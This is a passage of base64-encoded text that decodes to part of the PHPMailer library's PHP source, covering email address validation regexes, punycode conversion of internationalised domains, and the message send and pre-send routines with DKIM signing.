GZhbHNlIG9yIHN0cnBvcygkYWRkcmVzcywgIlxyIikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkcGF0dGVybnNlbGVjdCBvciAkcGF0dGVybnNlbGVjdCA9PSAnYXV0bycpIHsKICAgICAgICAgICAgLy9DaGVjayB0aGlzIGNvbnN0YW50IGZpcnN0IHNvIGl0IHdvcmtzIHdoZW4gZXh0ZW5zaW9uX2xvYWRlZCgpIGlzIGRpc2FibGVkIGJ5IHNhZmUgbW9kZQogICAgICAgICAgICAvL0NvbnN0YW50IHdhcyBhZGRlZCBpbiBQSFAgNS4yLjQKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BDUkVfVkVSU0lPTicpKSB7CiAgICAgICAgICAgICAgICAvL1RoaXMgcGF0dGVybiBjYW4gZ2V0IHN0dWNrIGluIGEgcmVjdXJzaXZlIGxvb3AgaW4gUENSRSA8PSA4LjAuMgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQQ1JFX1ZFUlNJT04sICc4LjAuMycpID49IDApIHsKICAgICAgICAgICAgICAgICAgICAkcGF0dGVybnNlbGVjdCA9ICdwY3JlOCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BjcmUnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleHRlbnNpb25fbG9hZGVkJykgYW5kIGV4dGVuc2lvbl9sb2FkZWQoJ3BjcmUnKSkgewogICAgICAgICAgICAgICAgLy9GYWxsIGJhY2sgdG8gb2xkZXIgUENSRQogICAgICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSAncGNyZSc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvL0ZpbHRlcl92YXIgYXBwZWFyZWQgaW4gUEhQIDUuMi4wIGFuZCBkb2VzIG5vdCByZXF1aXJlIHRoZSBQQ1JFIGV4dGVuc2lvbgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMi4wJykgPj0gMCkgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BocCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ25vcmVnZXgnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHN3aXRjaCAoJHBhdHRlcm5zZWxlY3QpIHsKICAgICAgICAgICAgY2FzZSAncGNyZTgnOgogICAgICAgICAgICAgICAgLyoqCiAgICAgICAgICAgICAgICAgKiBVc2VzIHRoZSBzYW1lIFJGQzUzMjIgcmVnZXggb24gd2hpY2ggRklMVEVSX1ZBTElEQVRFX0VNQUlMIGlzIGJhc2VkLCBidXQgYWxsb3dzIGRvdGxlc3MgZG9tYWlucy4KICAgICAgICAgICAgICAgICAqIEBsaW5rIGh0dHA6Ly9zcXVpbG9vcGxlLmNvbS8yMDA5LzEyLzIwL2VtYWlsLWFkZHJlc3MtdmFsaWRhdGlvbi8KICAgICAgICAgICAgICAgICAqIEBjb3B5cmlnaHQgMjAwOS0yMDEwIE1pY2hhZWwgUnVzaHRvbgogICAgICAgICAgICAgICAgICogRmVlbCBmcmVlIHRvIHVzZSBhbmQgcmVkaXN0cmlidXRlIHRoaXMgY29kZS4gQnV0IHBsZWFzZSBrZWVwIHRoaXMgY29weXJpZ2h0IG5vdGljZS4KICAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+KD8xKSI\/KD8+XFxcWyAtfl18W14iXSkiPyg\/MSkpezI1NSx9KSg\/ISg\/Pig\/MSkiPyg\/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXs2NSx9QCknIC4KICAgICAgICAgICAgICAgICAgICAnKCg\/Pig\/Pig\/PigoPz4oPz4oPz5ceDBEXHgwQSk\/W1x0IF0pK3woPz5bXHQgXSpceDBEXHgwQSk\/W1x0IF0rKT8pKFwoKD8+KD8yKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLVwnKi1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdfCg\/MykpKSooPzIpXCkpKSsoPzIpKXwoPzIpKT8pJyAuCiAgICAgICAgICAgICAgICAgICAgJyhbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8yKSg\/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXSkpKicgLgogICAgICAgICAgICAgICAgICAgICcoPzIpIikoPz4oPzEpXC4oPzEpKD80KSkqKD8xKUAoPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/PihbYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KScgLgogICAgICAgICAgICAgICAgICAgICcoPz4oPzEpXC4oPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/NSkpezAsMTI2fXxcWyg\/Oig\/PklQdjY6KD8+KFthLWYwLTldezEsNH0pKD8+Oig\/Nikpezd9JyAuCiAgICAgICAgICAgICAgICAgICAgJ3woPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoKD82KSg\/PjooPzYpKXswLDZ9KT86Oig\/Nyk\/KSl8KD8+KD8+SVB2NjooPz4oPzYpKD8+Oig\/NikpezV9OicgLgogICAgICAgICAgICAgICAgICAgICd8KD8hKD86LipbYS1mMC05XTopezYsfSkoPzgpPzo6KD8+KCg\/NikoPz46KD82KSl7MCw0fSk6KT8pKT8oMjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn0nIC4KICAgICAgICAgICAgICAgICAgICAnfFsxLTldP1swLTldKSg\/PlwuKD85KSl7M30pKVxdKSg\/MSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ3BjcmUnOgogICAgICAgICAgICAgICAgLy9BbiBvbGRlciByZWdleCB0aGF0IGRvZXNuJ3QgbmVlZCBhIHJlY2VudCBQQ1JFCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL14oPyEoPz4iPyg\/PlxcXFsgLX5dfFteIl0pIj8pezI1NSx9KSg\/ISg\/PiI\/KD8+XFxcWyAtfl18W14iXSkiPyl7NjUsfUApKD8+JyAuCiAgICAgICAgICAgICAgICAgICAgJ1shIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5cLig\/PlshIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKSkqJyAuCiAgICAgICAgICAgICAgICAgICAgJ0AoPz4oPyFbYS16MC05LV17NjQsfSkoPz5bYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KSg\/PlwuKD8hW2EtejAtOS1dezY0LH0pJyAuCiAgICAgICAgICAgICAgICAgICAgJyg\/PlthLXowLTldKD8+W2EtejAtOS1dKlthLXowLTldKT8pKXswLDEyNn18XFsoPzooPz5JUHY2Oig\/Pig\/PlthLWYwLTldezEsNH0pKD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs3fXwoPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNn0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/PlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw2fSk\/KSl8KD8+KD8+SVB2NjooPz5bYS1mMC05XXsxLDR9KD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs1fTp8KD8hKD86LipbYS1mMC05XTopezYsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNH0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/Pig\/OlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw0fSk6KT8pKT8oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfScgLgogICAgICAgICAgICAgICAgICAgICd8WzEtOV0\/WzAtOV0pKD8+XC4oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfXxbMS05XT9bMC05XSkpezN9KSlcXSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ2h0bWw1JzoKICAgICAgICAgICAgICAgIC8qKgogICAgICAgICAgICAgICAgICogVGhpcyBpcyB0aGUgcGF0dGVybiB1c2VkIGluIHRoZSBIVE1MNSBzcGVjIGZvciB2YWxpZGF0aW9uIG9mICdlbWFpbCcgdHlwZSBmb3JtIGlucHV0IGVsZW1lbnRzLgogICAgICAgICAgICAgICAgICogQGxpbmsgaHR0cDovL3d3dy53aGF0d2cub3JnL3NwZWNzL3dlYi1hcHBzL2N1cnJlbnQtd29yay8jZS1tYWlsLXN0YXRlLSh0eXBlPWVtYWlsKQogICAgICAgICAgICAgICAgICovCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL15bYS16QS1aMC05LiEjJCUmXCcqK1wvPT9eX2B7fH1+LV0rQFthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9JyAuCiAgICAgICAgICAgICAgICAgICAgJ1thLXpBLVowLTldKT8oPzpcLlthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9W2EtekEtWjAtOV0pPykqJC9zRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ25vcmVnZXgnOgogICAgICAgICAgICAgICAgLy9ObyBQQ1JFISBEbyBzb21ldGhpbmcgX3ZlcnlfIGFwcHJveGltYXRlIQogICAgICAgICAgICAgICAgLy9DaGVjayB0aGUgYWRkcmVzcyBpcyAzIGNoYXJzIG9yIGxvbmdlciBhbmQgY29udGFpbnMgYW4gQCB0aGF0J3Mgbm90IHRoZSBmaXJzdCBvciBsYXN0IGNoYXIKICAgICAgICAgICAgICAgIHJldHVybiAoc3RybGVuKCRhZGRyZXNzKSA+PSAzCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSA+PSAxCiAgICAgICAgICAgICAgICAgICAgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPSBzdHJsZW4oJGFkZHJlc3MpIC0gMSk7CiAgICAgICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pZmlsdGVyX3ZhcigkYWRkcmVzcywgRklMVEVSX1ZBTElEQVRFX0VNQUlMKTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBUZWxscyB3aGV0aGVyIElETnMgKEludGVybmF0aW9uYWxpemVkIERvbWFpbiBOYW1lcykgYXJlIHN1cHBvcnRlZCBvciBub3QuIFRoaXMgcmVxdWlyZXMgdGhlCiAgICAgKiAiaW50bCIgYW5kICJtYnN0cmluZyIgUEhQIGV4dGVuc2lvbnMuCiAgICAgKiBAcmV0dXJuIGJvb2wgInRydWUiIGlmIHJlcXVpcmVkIGZ1bmN0aW9ucyBmb3IgSUROIHN1cHBvcnQgYXJlIHByZXNlbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlkblN1cHBvcnRlZCgpCiAgICB7CiAgICAgICAgLy8gQFRPRE86IFdyaXRlIG91ciBvd24gImlkbl90b19hc2NpaSIgZnVuY3Rpb24gZm9yIFBIUCA8PSA1LjIuCiAgICAgICAgcmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygnaWRuX3RvX2FzY2lpJykgYW5kIGZ1bmN0aW9uX2V4aXN0cygnbWJfY29udmVydF9lbmNvZGluZycpOwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydHMgSUROIGluIGdpdmVuIGVtYWlsIGFkZHJlc3MgdG8gaXRzIEFTQ0lJIGZvcm0sIGFsc28ga25vd24gYXMgcHVueWNvZGUsIGlmIHBvc3NpYmxlLgogICAgICogSW1wb3J0YW50OiBBZGRyZXNzIG11c3QgYmUgcGFzc2VkIGluIHNhbWUgZW5jb2RpbmcgYXMgY3VycmVudGx5IHNldCBpbiBQSFBNYWlsZXI6OiRDaGFyU2V0LgogICAgICogVGhpcyBmdW5jdGlvbiBzaWxlbnRseSByZXR1cm5zIHVubW9kaWZpZWQgYWRkcmVzcyBpZjoKICAgICAqIC0gTm8gY29udmVyc2lvbiBpcyBuZWNlc3NhcnkgKGkuZS4gZG9tYWluIG5hbWUgaXMgbm90IGFuIElETiwgb3IgaXMgYWxyZWFkeSBpbiBBU0NJSSBmb3JtKQogICAgICogLSBDb252ZXJzaW9uIHRvIHB1bnljb2RlIGlzIGltcG9zc2libGUgKGUuZy4gcmVxdWlyZWQgUEhQIGZ1bmN0aW9ucyBhcmUgbm90IGF2YWlsYWJsZSkKICAgICAqICAgb3IgZmFpbHMgZm9yIGFueSByZWFzb24gKGUuZy4gZG9tYWluIGhhcyBjaGFyYWN0ZXJzIG5vdCBhbGxvd2VkIGluIGFuIElETikKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokQ2hhclNldAogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBjb252ZXJ0CiAgICAgKiBAcmV0dXJuIHN0cmluZyBUaGUgZW5jb2RlZCBhZGRyZXNzIGluIEFTQ0lJIGZvcm0KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHB1bnllbmNvZGVBZGRyZXNzKCRhZGRyZXNzKQogICAgewogICAgICAgIC8vIFZlcmlmeSB3ZSBoYXZlIHJlcXVpcmVkIGZ1bmN0aW9ucywgQ2hhclNldCwgYW5kIGF0LXNpZ24uCiAgICAgICAgaWYgKCR0aGlzLT5pZG5TdXBwb3J0ZWQoKSBhbmQKICAgICAgICAgICAgIWVtcHR5KCR0aGlzLT5DaGFyU2V0KSBhbmQKICAgICAgICAgICAgKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGRvbWFpbiA9IHN1YnN0cigkYWRkcmVzcywgKyskcG9zKTsKICAgICAgICAgICAgLy8gVmVyaWZ5IENoYXJTZXQgc3RyaW5nIGlzIGEgdmFsaWQgb25lLCBhbmQgZG9tYWluIHByb3Blcmx5IGVuY29kZWQgaW4gdGhpcyBDaGFyU2V0LgogICAgICAgICAgICBpZiAoJHRoaXMtPmhhczhiaXRDaGFycygkZG9tYWluKSBhbmQgQG1iX2NoZWNrX2VuY29kaW5nKCRkb21haW4sICR0aGlzLT5DaGFyU2V0KSkgewogICAgICAgICAgICAgICAgJGRvbWFpbiA9IG1iX2NvbnZlcnRfZW5jb2RpbmcoJGRvbWFpbiwgJ1VURi04JywgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgaWYgKCgkcHVueWNvZGUgPSBkZWZpbmVkKCdJTlRMX0lETkFfVkFSSUFOVF9VVFM0NicpID8KICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbiwgMCwgSU5UTF9JRE5BX1ZBUklBTlRfVVRTNDYpIDoKICAgICAgICAgICAgICAgICAgICBpZG5fdG9fYXNjaWkoJGRvbWFpbikpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBzdWJzdHIoJGFkZHJlc3MsIDAsICRwb3MpIC4gJHB1bnljb2RlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzczsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYW5kIHNlbmQgaXQuCiAgICAgKiBVc2VzIHRoZSBzZW5kaW5nIG1ldGhvZCBzcGVjaWZpZWQgYnkgJE1haWxlci4KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gZmFsc2Ugb24gZXJyb3IgLSBTZWUgdGhlIEVycm9ySW5mbyBwcm9wZXJ0eSBmb3IgZGV0YWlscyBvZiB0aGUgZXJyb3IuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoISR0aGlzLT5wcmVTZW5kKCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJHRoaXMtPnBvc3RTZW5kKCk7CiAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUHJlcGFyZSBhIG1lc3NhZ2UgZm9yIHNlbmRpbmcuCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwcmVTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQgPSAwOyAvLyBSZXNldCBlcnJvcnMKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKCiAgICAgICAgICAgIC8vIERlcXVldWUgcmVjaXBpZW50IGFuZCBSZXBseS1UbyBhZGRyZXNzZXMgd2l0aCBJRE4KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXlfbWVyZ2UoJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSwgJHRoaXMtPlJlcGx5VG9RdWV1ZSkgYXMgJHBhcmFtcykgewogICAgICAgICAgICAgICAgJHBhcmFtc1sxXSA9ICR0aGlzLT5wdW55ZW5jb2RlQWRkcmVzcygkcGFyYW1zWzFdKTsKICAgICAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgoY291bnQoJHRoaXMtPnRvKSArIGNvdW50KCR0aGlzLT5jYykgKyBjb3VudCgkdGhpcy0+YmNjKSkgPCAxKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdwcm92aWRlX2FkZHJlc3MnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFZhbGlkYXRlIEZyb20sIFNlbmRlciwgYW5kIENvbmZpcm1SZWFkaW5nVG8gYWRkcmVzc2VzCiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdGcm9tJywgJ1NlbmRlcicsICdDb25maXJtUmVhZGluZ1RvJykgYXMgJGFkZHJlc3Nfa2luZCkgewogICAgICAgICAgICAgICAgJHRoaXMtPiRhZGRyZXNzX2tpbmQgPSB0cmltKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT4kYWRkcmVzc19raW5kID0gJHRoaXMtPnB1bnllbmNvZGVBZGRyZXNzKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICcgKHB1bnlFbmNvZGUpICcgLiAkdGhpcy0+JGFkZHJlc3Nfa2luZDsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTZXQgd2hldGhlciB0aGUgbWVzc2FnZSBpcyBtdWx0aXBhcnQvYWx0ZXJuYXRpdmUKICAgICAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlJzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHRoaXMtPnNldE1lc3NhZ2VUeXBlKCk7CiAgICAgICAgICAgIC8vIFJlZnVzZSB0byBzZW5kIGFuIGVtcHR5IG1lc3NhZ2UgdW5sZXNzIHdlIGFyZSBzcGVjaWZpY2FsbHkgYWxsb3dpbmcgaXQKICAgICAgICAgICAgaWYgKCEkdGhpcy0+QWxsb3dFbXB0eSBhbmQgZW1wdHkoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdlbXB0eV9tZXNzYWdlJyksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBDcmVhdGUgYm9keSBiZWZvcmUgaGVhZGVycyBpbiBjYXNlIGJvZHkgbWFrZXMgY2hhbmdlcyB0byBoZWFkZXJzIChlLmcuIGFsdGVyaW5nIHRyYW5zZmVyIGVuY29kaW5nKQogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciA9ICcnOwogICAgICAgICAgICAkdGhpcy0+TUlNRUJvZHkgPSAkdGhpcy0+Y3JlYXRlQm9keSgpOwogICAgICAgICAgICAvLyBjcmVhdGVCb2R5IG1heSBoYXZlIGFkZGVkIHNvbWUgaGVhZGVycywgc28gcmV0YWluIHRoZW0KICAgICAgICAgICAgJHRlbXBoZWFkZXJzID0gJHRoaXMtPk1JTUVIZWFkZXI7CiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gJHRoaXMtPmNyZWF0ZUhlYWRlcigpOwogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciAuPSAkdGVtcGhlYWRlcnM7CgogICAgICAgICAgICAvLyBUbyBjYXB0dXJlIHRoZSBjb21wbGV0ZSBtZXNzYWdlIHdoZW4gdXNpbmcgbWFpbCgpLCBjcmVhdGUKICAgICAgICAgICAgLy8gYW4gZXh0cmEgaGVhZGVyIGxpc3Qgd2hpY2ggY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluCiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdtYWlsJykgewogICAgICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1RvJywgJHRoaXMtPnRvKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoCiAgICAgICAgICAgICAgICAgICAgJ1N1YmplY3QnLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcih0cmltKCR0aGlzLT5TdWJqZWN0KSkpCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTaWduIHdpdGggREtJTSBpZiBlbmFibGVkCiAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkRLSU1fZG9tYWluKQogICAgICAgICAgICAgICAgYW5kICFlbXB0eSgkdGhpcy0+REtJTV9zZWxlY3RvcikKICAgICAgICAgICAgICAgIGFuZCAoIWVtcHR5KCR0aGlzLT5ES0lNX3ByaXZhdGVfc3RyaW5nKQogICAgICAgICAgICAgICAgICAgIG9yICghZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICAgICAgYW5kIHNlbGY6OmlzUGVybWl0dGVkUGF0aCgkdGhpcy0+REtJTV9wcml2YXRlKQogICAgICAgICAgICAgICAgICAgICAgICBhbmQgZmlsZV9leGlzdHMoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgJGhlYWRlcl9ka2ltID0gJHRoaXMtPkRLSU1fQWRkKAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVCb2R5CiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgPSBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciwgIlxyXG4gIikgLiBzZWxmOjpDUkxGIC4KICAgICAgICAgICAgICAgICAgICBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRoZWFkZXJfZGtpbSkgLiBzZWxmOjpDUkxGOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEFjdHVhbGx5IHNlbmQgYSBtZXNzYWdlLgogICAgICogU2VuZCB0aGUgZW1haWwgdmlhIHRoZSBzZWxlY3RlZCBtZWNoYW5pc20KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHBvc3RTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAvLyBDaG9vc2UgdGhlIG1haWxlciBhbmQgc2VuZCB0aHJvdWdoIGl0CiAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPk1haWxlcikgewogICAgICAgICAgICAgICAgY2FzZSAnc2VuZG1haWwnOgogICAgICAgICAgICAgICAgY2FzZSAncW1haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VuZG1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgY2FzZSAnc210cCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzL